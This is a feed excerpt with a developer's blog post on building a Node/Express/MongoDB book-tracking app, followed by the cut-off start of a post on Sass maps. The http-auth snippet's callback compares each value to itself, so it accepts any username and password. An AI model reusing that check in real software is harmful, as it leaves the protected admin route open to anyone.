&lt;p&gt;Everybody and their cat can build or has built an app, right? The time had come for me to join that club. I&apos;d been tracking the list of books I want to read/borrow from the world-class &lt;a href=&quot;https://www.nlb.gov.sg/&quot;&gt;Singapore National Library&lt;/a&gt; with a plain text file stored on Dropbox. It worked great till the list grew to past 40 books. The solution to this unwieldy list was obvious: (so say it with me) Just build an app for that.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;To track list of books by title, dewey decimal number and available locations&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That was the basic gist of the idea. The key functionality I wanted was to be able to filter the list depending on which library I was visiting at the time, because some books had copies in multiple libraries. Critical information would be the book title and dewey decimal number to locate said book. Simple enough, I thought. But it never is.&lt;/p&gt;
&lt;p&gt;This being my first ”app”, I thought it&apos;d be interesting to document the thought process plus questions I asked myself (mostly #noobproblems to be honest). Besides, I never had a standard format for writing case studies or blog posts. I also ramble a lot. &lt;a href=&quot;https://github.com/huijing/library-app&quot;&gt;Source code&lt;/a&gt; if you really want to look at noob code.&lt;/p&gt;
&lt;h3 class=&quot;no-margin&quot;&gt;TL:DR (skip those which bore you)&lt;/h3&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#what-technology-stack-should-i-use&quot;&gt;Technology stack used: node.js, Express, MongoDB, Nunjucks&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#you-have-no-idea-how-to-write-this-from-scratch-do-you&quot;&gt;Starting point: Zell’s intro to CRUD tutorial&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#so-this-mlab-thing-is-a-hosted-database-solution&quot;&gt;Database implementation: mLAb, a hosted database solution&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#you-dont-want-to-use-ejs-like-zell-then-how&quot;&gt;Templating language: Nunjucks&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#couldnt-think-of-a-way-to-automate-data-entry&quot;&gt;Data entry: manually, by hand&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#can-you-nunjucks-like-you-do-liquid&quot;&gt;Nunjucks syntax is similar to Liquid&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#better-make-the-list-of-books-responsive-eh&quot;&gt;Responsive table layout with HTML tables&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#lets-talk-about-this-filtering-thing-alright&quot;&gt;Filtering function utilises &lt;code&gt;indexOf()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#why-was-your-edit-and-delete-different-from-zells&quot;&gt;Implementing PUT and DELETE&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#oooo-lets-also-play-with-service-worker&quot;&gt;Offline functionality with Service Worker&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#lets-put-some-authentication-on-this-baby&quot;&gt;Basic HTTP authentication&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-about-deployment&quot;&gt;Deployment: Heroku&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What technology stack should I use?&lt;/h3&gt;
&lt;p&gt;I went with &lt;a href=&quot;https://nodejs.org/en/&quot;&gt;node.js&lt;/a&gt; for the server, &lt;a href=&quot;https://expressjs.com/&quot;&gt;Express&lt;/a&gt; for the middleware layer, &lt;a href=&quot;https://www.mongodb.com/&quot;&gt;MongoDB&lt;/a&gt; as the database because I didn&apos;t really want to write SQL queries and &lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot;&gt;Nunjucks&lt;/a&gt; as the templating language because it&apos;s kind of similar to Liquid (which I use extensively in Jekyll).&lt;/p&gt;
&lt;p&gt;But before I settled on this stack, there was a lot of pondering about data. Previously, I had been terribly spoiled by my JavaScript counterparts who would just pass me endpoints from which I could access all the data I needed. It was like magic (or just abstraction, but aren&apos;t the two terms interchangeable?).&lt;/p&gt;
&lt;p&gt;I&apos;m used to receiving data as JSON, so my first thought was to convert the data in the plain text file into a JSON file, then do all the front-endy stuff I always do with fetch. But then I realised, I wanted to edit the data as well, like remove books or edit typos. So persistence was something I didn&apos;t know how to deal with.&lt;/p&gt;
&lt;p&gt;There was a vague memory of something related to SQL queries when I once peeked into the middleware code out of curiosity, which led me to conclude that a database had to be involved in this endeavour &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;light bulb&quot;&gt;💡&lt;/span&gt;. I&apos;m not as clueless as I sound, and I know how to write SQL queries (from my Drupal days), enough to know that I didn&apos;t want to write SQL queries for this app.&lt;/p&gt;
&lt;h3&gt;You have no idea how to write this from scratch, do you?&lt;/h3&gt;
&lt;p&gt;Nope, not a clue. But my buddy &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell&lt;/a&gt; wrote a great tutorial earlier on &lt;a href=&quot;https://zellwk.com/blog/crud-express-mongodb/&quot;&gt;how to build a simple CRUD app&lt;/a&gt;, which I used as a guide. It wasn&apos;t exactly the same, so there was a lot of googling involved. But the advantage of not being a complete noob was that I knew which results to discard and which were useful &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Zell&apos;s post covers the basic setup for an app running on node.js, complete with idiot-proof instructions on how to get the node.js server running from your terminal. There&apos;s also basic routing, so you can serve the index.html file as your home page, which you can extend for other pages as well. &lt;a href=&quot;https://nodemon.io/&quot;&gt;Nodemon&lt;/a&gt; is used to restart the server every time changes are made so you don&apos;t have to do it manually each time.&lt;/p&gt;
&lt;p&gt;He did use a different stack from me, like EJS instead of Nunjucks, but most of the instructions were still very relevant, at least in part 1. Most deviations happened for the edit and delete portion of the tutorial.&lt;/p&gt;
&lt;h3&gt;So this mLab thing is a hosted database solution?&lt;/h3&gt;
&lt;p&gt;Yeah, Zell used &lt;a href=&quot;https://mlab.com/&quot;&gt;mLab&lt;/a&gt; in the tutorial, it&apos;s a Database-as-a-Service so I kinda skipped over the learning how to set up MongoDB bit. Maybe next time. Documentation on how to get started using mLab is pretty good, but one thing made me raise an eyebrow (omg, when is this emoji coming?!), and that was the MongoDB connection URI contained the user name and password to the database.&lt;/p&gt;
&lt;p&gt;I&apos;m not a security expert but I know enough to conclude that is NOT a good idea. So next thing to find out was, what is the best way to implement this as a configuration? In Drupal, and we had a &lt;code&gt;settings.php&lt;/code&gt; file. Google told me that StackOverflow says to &lt;a href=&quot;https://stackoverflow.com/questions/22348705/best-way-to-store-db-config-in-node-js-express-app&quot;&gt;create a &lt;code&gt;config.js&lt;/code&gt; file&lt;/a&gt; then import that for use in the file where you do your database connections. I did that at first, and things were peachy, until I tried to deploy on Heroku. We&apos;ll talk about this later, but point is, store credentials in separate file and do NOT commit said file to git.&lt;/p&gt;
&lt;h3&gt;You don&apos;t want to use EJS like Zell, then how?&lt;/h3&gt;
&lt;p&gt;It&apos;s not that &lt;a href=&quot;http://www.embeddedjs.com/&quot;&gt;EJS&lt;/a&gt; is bad, I just wanted a syntax I was used to. But not to worry, because most maintainers of popular projects dedicate time to writing documentation. I learned the term &lt;a href=&quot;https://en.wikipedia.org/wiki/RTFM&quot;&gt;RTFM&lt;/a&gt; quite early on in my career. &lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot;&gt;Nunjucks&lt;/a&gt; is a templating engine by Mozilla, which is very similar to Jekyll&apos;s (technically Shopify made it) &lt;a href=&quot;https://github.com/Shopify/liquid&quot;&gt;Liquid&lt;/a&gt;. Their &lt;a href=&quot;https://mozilla.github.io/nunjucks/getting-started.html&quot;&gt;documentation&lt;/a&gt; for getting started with Express was very understandable to me.&lt;/p&gt;
&lt;h3&gt;Couldn&apos;t think of a way to automate data entry?&lt;/h3&gt;
&lt;p&gt;Nope, I could not. I did have prior experience doing data entry in an earlier era of my life, so this felt...nostalgic? Anyway, the form had to be built first. Book title and dewey decimal number were straight-forward text fields. Whether the book had been borrowed or not would be indicated with radio buttons. Libraries were a bit trickier because I wanted to make them a multi-select input, but use Nunjucks to generate each option.&lt;/p&gt;
&lt;p&gt;After building my nice form, and testing that submitting the form would update my database. I grabbed a cup of coffee, warmed up my fingers and went through around half an hour of copy/paste (I think). I&apos;m very sure there is a better way to generate the database than this, but it would have definitely taken me longer than half an hour to figure out. Let&apos;s KIV this item, okay?&lt;/p&gt;
&lt;h3&gt;Can you Nunjucks like you do Liquid?&lt;/h3&gt;
&lt;p&gt;Most templating languages probably can do the standard looping and conditionals, it&apos;s just a matter of figuring out the syntax. In Jekyll, you chuck your data into &lt;code&gt;.yml&lt;/code&gt; or &lt;code&gt;.json&lt;/code&gt; files in the &lt;code&gt;_data&lt;/code&gt; folder and access them using something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% for slide in site.data.slides %}
&amp;lt;!-- markup for single slide --&amp;gt;
{% endfor %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Jekyll has kindly handled the mechanism for passing data from those files into the template for you, so we&apos;ll have to do something similar for using Nunjucks properly. I had two chunks of data to send to the client-side, my list of libraries (a static array) and the book data (to be pulled from the database). And I learned that to do that we need to write something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;app.get(&amp;quot;/&amp;quot;, (req, res) =&amp;gt; {
  db.collection(&amp;quot;books&amp;quot;)
    .find()
    .toArray((err, result) =&amp;gt; {
      if (err) return console.log(err);
      res.render(&amp;quot;index&amp;quot;, {
        libraries: libraries,
        books: result,
      });
    });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m fairly confident this is an Express functionality, where the &lt;code&gt;render()&lt;/code&gt; function takes two parameters, the template file and an object which contains the data you want to pass forward. After this, I can magically loop this data for my select dropdown and books table in the &lt;code&gt;index.html&lt;/code&gt; file. Instead of having to type out an obscenely long list of &lt;code&gt;option&lt;/code&gt; elements, Nunjucks does it for me.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;select name=&amp;quot;available_at[]&amp;quot; multiple&amp;gt;
  {% for library in libraries %}
  &amp;lt;option&amp;gt;{{ library.name }}&amp;lt;/option&amp;gt;
  {% endfor %}
&amp;lt;/select&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/js-app/1-640.jpg&quot;
  srcset=&quot;/images/posts/js-app/1-480.jpg 480w, /images/posts/js-app/1-640.jpg 640w, /images/posts/js-app/1-960.jpg 960w, /images/posts/js-app/1-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Form to add book&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;And another &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;light bulb&quot;&gt;💡&lt;/span&gt; moment happened when I was working out how to render the book list into a table. So the libraries field is a multi-value field, right? As I made it a multi-select, the data is stored in the database as &lt;em&gt;an array&lt;/em&gt;, however, single values were stored as &lt;em&gt;a string&lt;/em&gt;. This screwed up my initial attempts at formatting this field, until I realised it was possible to force a single value to be stored as an array using &lt;code&gt;[]&lt;/code&gt; in the select&apos;s name attribute.&lt;/p&gt;
&lt;h3&gt;Better make the list of books responsive, eh?&lt;/h3&gt;
&lt;p&gt;Yes, considering how I pride myself in being a CSS person, it&apos;d be quite embarrassing if the display was broken at certain screen widths. I already had a responsive table setup I wrote up previously that was made up of a bunch of divs that pretended to be a table when the width was wide enough. Because &lt;code&gt;display: table&lt;/code&gt; is a thing. I know this because &lt;a href=&quot;/blog/how-well-do-you-know-display/&quot;&gt;I researched it before&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So I did that at first, before realising that the &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; element &lt;a href=&quot;https://developer.mozilla.org/en/docs/Web/API/HTMLTableElement&quot;&gt;has extra properties and methods&lt;/a&gt; that normal elements don&apos;t. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;light bulb&quot;&gt;💡&lt;/span&gt; (at the rate this is going, I&apos;ll have enough light bulbs for a nice chandelier). This doesn&apos;t have anything to do with the CSS portion of things, but was very relevant because of the filtering function I wanted to implement.&lt;/p&gt;
&lt;p&gt;Then it occurred to me, if I could make divs pretend to be a table, I could make a table act like a div. I don&apos;t even understand why this didn&apos;t click for me earlier &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. Long story short, when things started to get squeezy, the table, rows and cells got their display set to &lt;code&gt;block&lt;/code&gt;. Sprinkle on some pseudo-element goodness and voila, responsive table.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;That&apos;s an HTML table, folks.&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/responsive.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/responsive.mp4&quot;&gt;download it&lt;/a&gt;and watch it with
    your favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;h3&gt;Let&apos;s talk about this filtering thing, alright?&lt;/h3&gt;
&lt;p&gt;I&apos;ll be honest. I&apos;ve never written a proper filtering function by myself before. I did do an autocomplete, once. But that was it. I think I just used someone else&apos;s library (but I made sure it was like really tiny and optimised and everything) when I had to. What I wanted was to have a select dropdown that would only show the books available at one particular library.&lt;/p&gt;
&lt;p&gt;The tricky thing was that the library field was multi-value. So you couldn&apos;t just match the contents of the library cell with the value of the option selected, or could you? So I found &lt;a href=&quot;https://codepen.io/philipp-unger/pen/ipexs&quot;&gt;this codepen&lt;/a&gt; by &lt;a href=&quot;http://philippunger.com/&quot;&gt;Philpp Unger&lt;/a&gt; which filtered a table based on text input.&lt;/p&gt;
&lt;p&gt;The actual filtering leverages the &lt;code&gt;indexOf()&lt;/code&gt; method, while the &lt;code&gt;forEach()&lt;/code&gt; method loops through the whole slew of descendants in the book table. So like I mentioned earlier, a normal HTMLElement doesn&apos;t have the properties that a HTMLTableElement does, like &lt;code&gt;HTMLTableElement.tBodies&lt;/code&gt; and &lt;code&gt;HTMLTableElement.rows&lt;/code&gt;. MDN documentation is great, here are the links for &lt;a href=&quot;https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf&quot;&gt;indexOf()&lt;/a&gt;, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach&quot;&gt;forEach()&lt;/a&gt; and &lt;a href=&quot;https://developer.mozilla.org/en/docs/Web/API/HTMLTableElement&quot;&gt;HTMLTableElement&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Why was your edit and delete different from Zell&apos;s?&lt;/h3&gt;
&lt;p&gt;Because I had more data, and I didn&apos;t want to use fetch for the first pass. I wanted CRUD to work on the basic version of the app without client-side JavaScript enabled. It&apos;s fine if the filtering doesn&apos;t work without JavaScript, I mean, I probably could make it so the filtering was done on the server-side, but I was tired.&lt;/p&gt;
&lt;p&gt;Anyway, instead of fetch, I put in individual routes for each book where you could edit fields or delete the whole thing. I referred to &lt;a href=&quot;http://mherman.org/blog/2015/08/24/node-express-swig-mongo-primer/&quot;&gt;this article&lt;/a&gt; by &lt;a href=&quot;http://mherman.org/&quot;&gt;Michael Herman&lt;/a&gt;, for the put and delete portions. Instead of fetch, we used the &lt;a href=&quot;https://github.com/expressjs/method-override&quot;&gt;method-override&lt;/a&gt; middleware.&lt;/p&gt;
&lt;p&gt;The form action then looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;form method=&amp;quot;post&amp;quot; action=&amp;quot;/book/{{book._id}}?_method=PUT&amp;quot;&amp;gt;
  &amp;lt;!-- Form fields --&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The form itself was pre-populated with values from the database, so I could update a single field without having to fill the whole form out each time. Though that did involve putting in some logic in the templates, for the multi-select field and my radio buttons. I&apos;ve heard some people say templates should be logic-free, but &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;select name=&amp;quot;available_at[]&amp;quot; multiple&amp;gt;
  {% for library in libraries %} {% if book.available_at == library.name %}
  &amp;lt;option selected&amp;gt;{{ library.name }}&amp;lt;/option&amp;gt;
  {% else %}
  &amp;lt;option&amp;gt;{{ library.name }}&amp;lt;/option&amp;gt;
  {% endif %} {% endfor %}
&amp;lt;/select&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;fieldset&amp;gt;
  &amp;lt;legend&amp;gt;Borrowed?&amp;lt;/legend&amp;gt;
  {% if book.borrowed == &amp;quot;yes&amp;quot; %} {{ checked }} {% set checked = &amp;quot;checked&amp;quot; %} {% else %} {{
  notchecked }} {% set notchecked = &amp;quot;checked&amp;quot; %} {% endif %}
  &amp;lt;label&amp;gt;
    &amp;lt;span&amp;gt;Yes&amp;lt;/span&amp;gt;
    &amp;lt;input type=&amp;quot;radio&amp;quot; name=&amp;quot;borrowed&amp;quot; value=&amp;quot;yes&amp;quot; {{ checked }} /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;label&amp;gt;
    &amp;lt;span&amp;gt;No&amp;lt;/span&amp;gt;
    &amp;lt;input type=&amp;quot;radio&amp;quot; name=&amp;quot;borrowed&amp;quot; value=&amp;quot;no&amp;quot; {{ notchecked }} /&amp;gt;
  &amp;lt;/label&amp;gt;
&amp;lt;/fieldset&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One problem that took me a while to figure out was that I kept getting a null value when trying to query a book using its ID from my database. And I was sure I was using the right property. What I learned was, the ID for each entry in MongoDB is not a string, it&apos;s an ObjectID AND you need &lt;a href=&quot;https://stackoverflow.com/questions/17545311/correct-way-to-search-for-mongodb-entries-by-id-in-node&quot;&gt;to require the ObjectID function&lt;/a&gt; before using it.&lt;/p&gt;
&lt;h3&gt;Oooo, let&apos;s also play with Service Worker!&lt;/h3&gt;
&lt;p&gt;Have you read &lt;a href=&quot;https://adactio.com/&quot;&gt;Jeremy Keith&lt;/a&gt;&apos;s wonderful book, &lt;a href=&quot;https://resilientwebdesign.com/&quot;&gt;Resilient Web Design&lt;/a&gt; yet? If you haven&apos;t, stop right now and go read it. Sure it&apos;s a web book, but it also &lt;a href=&quot;https://adactio.com/journal/11730&quot;&gt;works brilliantly offline&lt;/a&gt;. So I&apos;ve known about Service Worker for a bit, read a couple blog posts, heard some talks, but never did anything about it. Until now.&lt;/p&gt;
&lt;p&gt;The actual implementation wasn&apos;t that hard, because the introductory tutorials for the most basic of functionalities are quite accessible, like &lt;a href=&quot;https://web.archive.org/web/20180914220431/https://www.hacklabo.com/your-first-service-worker/&quot;&gt;this one&lt;/a&gt; by &lt;a href=&quot;https://www.nicolafioravantiphotography.com/&quot;&gt;Nicola Fioravanti&lt;/a&gt;. You know how when you build a thing and you ask the business users to do testing, and somehow they always manage to do the one obscure thing that breaks things. That was me. Doing it to myself.&lt;/p&gt;
&lt;p&gt;So I followed the instructions and modified the service-worker according to the files I needed cached, and tested it out. If you use Chrome, DevTools has a Service Worker panel under Application, and you can trigger Offline mode from there. First thing I ran into was this error: &lt;code&gt;(unknown) #3016 An unknown error occurred  when fetching the script&lt;/code&gt;, but no biggie, someone else had &lt;a href=&quot;https://stackoverflow.com/questions/40555311/an-unknown-error-occurred-when-fetching-the-script-service-worker&quot;&gt;the same problem on Stack Overflow&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The next thing that tripped me up for a day and a half was that, unlike normal human beings, I reflexively reload my page by pressing &lt;kbd&gt;⌘&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, instead of &lt;kbd&gt;⌘&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;. That &lt;kbd&gt;Shift&lt;/kbd&gt; key was my undoing, because it triggers reload and IGNORES cached content. It turned out my Service Worker had been registered and running all this while &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person facepalming&quot;&gt;🤦‍♀️&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Ah, the life of a web developer.&lt;/p&gt;
&lt;h3&gt;Let&apos;s put some authentication on this baby&lt;/h3&gt;
&lt;p&gt;Okay, I actually took one look at Zell&apos;s demo app and realised it kind of got a bit out of hand because it was a free-for-all form input and anyone could submit anything they wanted. Which was kind of the point of the demo, so no issues there. But for my personal app, I&apos;m perfectly capable of screwing around with the form submission all by myself, thank you.&lt;/p&gt;
&lt;p&gt;Authentication is a big thing, in that there are a tonne of ways to do it, some secure and some not, but for this particular use-case I just needed something incredibly simple. Like a htpasswd (you guys still remember what that is, right?). Basic HTTP authentication is good enough for an app which will only ever have one user. Ever.&lt;/p&gt;
&lt;p&gt;And surprise, surprise, there&apos;s an npm module for that. It&apos;s called &lt;a href=&quot;https://github.com/http-auth/http-auth&quot;&gt;http-auth&lt;/a&gt;, and implementation is relatively straight-forward. You can choose to protect a specific path, so in my case, I only needed to protect the page that allowed for modifications. Again, credentials in a separate file, kids.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const auth = require(&amp;quot;http-auth&amp;quot;);
const basic = auth.basic({ realm: &amp;quot;Modify database&amp;quot; }, (username, password, callback) =&amp;gt; {
  callback(username == username &amp;amp;&amp;amp; password == password);
});

app.get(&amp;quot;/admin&amp;quot;, auth.connect(basic), (req, res) =&amp;gt; {
  // all the db connection, get/post, redirect, render stuff
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What about deployment?&lt;/h3&gt;
&lt;p&gt;Ah yes, this part of development. If you ask me, the easiest way to do this is with full control of a server (any server), accessible via ssh. Because for all my short-comings in other areas (*ahem* JavaScript), I&apos;m fully capable of setting up a Linux server with ssh access plus some semblance of hardening. It&apos;s not hard if you can follow instructions to a T and besides, I&apos;ve had lots of practice (I&apos;ve lost count of the number of times I wiped a server to start over).&lt;/p&gt;
&lt;p&gt;But I&apos;m a very very cheap person, who refuses to pay for stuff, if I can help it. I&apos;ve also run out of ports on my router so those extra SBCs I have lying around will just have to continue to collect dust. The go-to free option seems to be Heroku. But it was hardly a smooth process. Chalk it up to my inexperience with node.js deployment on this particular platform.&lt;/p&gt;
&lt;p&gt;It was mostly issues with database credentials, because I originally stored them in a &lt;code&gt;config.js&lt;/code&gt; file which I imported into my main &lt;code&gt;app.js&lt;/code&gt; file. But I realised there wasn&apos;t a way for me to upload that file to Heroku without going through git, so scratch that plan. Let&apos;s do environment variables instead, since Heroku seems to have that built in.&lt;/p&gt;
&lt;p&gt;What took me forever to figure out was that on Heroku, you need to have the dotenv module for the &lt;code&gt;.env&lt;/code&gt; file to be recognised (or wherever Heroku handles environment variables). Because on my local machine, it worked without the dotenv module, go figure.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Really learned a lot from this, and got a working app out of it, so time well spent, I say. I also learned that it&apos;s actually pretty hard to find tutorials that don&apos;t use a truck-load of libraries. Not that I&apos;m against libraries in general, but as a complete noob, it&apos;s a bit too magical for me. Sprinkle on the fairy dust a little later, thanks. Anyway, I&apos;ll be off working on the next ridiculous idea that pops into my mind, you should try it some time too &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Over-engineering Sass maps</title><link>https://chenhuijing.com/blog/overengineering-sass-maps/</link><guid isPermaLink="true">https://chenhuijing.com/blog/overengineering-sass-maps/</guid><description>I finally put together a landing page for the little random demos I build from time to time because, you know, CSS is my hobby. SingaporeCSS is our meetup…</description><pubDate>Fri, 30 Jun 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I finally put together a landing page for the little random demos I build from time to time because, you know, CSS is my hobby. &lt;a href=&quot;https://singaporecss.github.io&quot;&gt;SingaporeCSS&lt;/a&gt; is our meetup group that runs Talk.CSS, and when I built that site last year, I figured it was an excuse to try out CSS variables (and chromatic fonts and other “cutting edge” stuff).&lt;/p&gt;
&lt;p&gt;A feature of Sass that I particularly like is the ability to loop. To me, this is purely a developer convenience because the compiled result is something that can totally be written by hand but I&apos;m such a lazy sloth that I&apos;d rather spend half a day figuring out how to write the loop. &lt;em&gt;#overengineering&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Here&apos;s the use case. I want to store my colours in a Sass map, which has the name of the colour and its hex code. And I would like to reuse this map in the plethora of other declarations down the line. So in the case of using CSS variables for colours, I wanted to have fallback values in my &lt;code&gt;var()&lt;/code&gt; function as well.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thought: I&apos;ve actually pondered this over, and realised that if I was using a Sass map for this the fallback value is probably redundant. Talk to me about this.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;CSS variables deserve their own post, which I technically have written except that it&apos;s on &lt;a href=&quot;https://tympanus.net/codrops/css_reference/custom-properties/&quot;&gt;Codrops CSS reference&lt;/a&gt;. But if you want to know more about CSS variables, head straight on down to the &lt;a href=&quot;#further-resources&quot;&gt;resources section&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I also wanted to use the same map to write nth-child selectors so the relevant elements would have repeated colours based on the colours in my Sass map. This all sounds reasonably straight-forward, doesn&apos;t it? But, it turns out that Sass maps &lt;a href=&quot;https://github.com/sass/sass/issues/996&quot;&gt;don&apos;t have an index interator variable&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In my naive mind, probably a place where unicorns shit rainbows, I&apos;d like to write code that looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@function colour($colour-name) {
  @return var(--#{$colour-name}, map-get($colours, $colour-name));
}

@each $name, $colour in $colours {
  section:nth-child($index) {
    background-color: colour($name);
    mix-blend-mode: color-dodge;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I guess I keep thinking of the &lt;code&gt;index&lt;/code&gt; parameter that is available to us when we use the &lt;code&gt;map()&lt;/code&gt; function, you know? But that&apos;s not to say that Sass itself isn&apos;t pretty awesome. Let&apos;s talk about the Sass functionality that are most commonly found in my projects.&lt;/p&gt;
&lt;p&gt;If you&apos;re not familiar with &lt;a href=&quot;http://sass-lang.com/&quot;&gt;Sass&lt;/a&gt;, it is a pre-processor that utilises the same syntax as CSS, but also extends it through SassScript, which allows properties to use mixins, variables, nesting, functions and so on.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;SassScript supports 7 data types:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;numbers&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;strings&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;colours&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;booleans&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;nulls&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;lists&lt;/li&gt;
  &lt;li&gt;maps&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&apos;m only going to discuss Sass maps here.&lt;/p&gt;
&lt;h2&gt;Sass maps&lt;/h2&gt;
&lt;p&gt;Sass maps were introduced in Sass 3.3 and allowed us to store a comma-separated list of key-value pairs in a Sass variable. And with this nifty new data type, we also got some map functions to go with it. This is how a Sass map looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;$map: (
  key1: value1,
  key2: value2,
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The most common use-case for Sass maps (at least for me) is for managing colours. I used to store my colours in Sass variables like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;$green: #7ed321;
$red: #ff595e;
$yellow: #f8e81c;
$blue: #4990e2;
$purple: #db61f4;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now, I put them in a Sass map, like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;$colours: (
  green: #7ed321,
  red: #ff595e,
  yellow: #f8e81c,
  blue: #4990e2,
  purple: #db61f4,
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The reason for this seemingly minor difference, is the ability to use Sass directives to write loops. But before we get into that, I want to briefly cover all the available functions you can use with Sass maps.&lt;/p&gt;
&lt;div class=&quot;table sass-maps&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
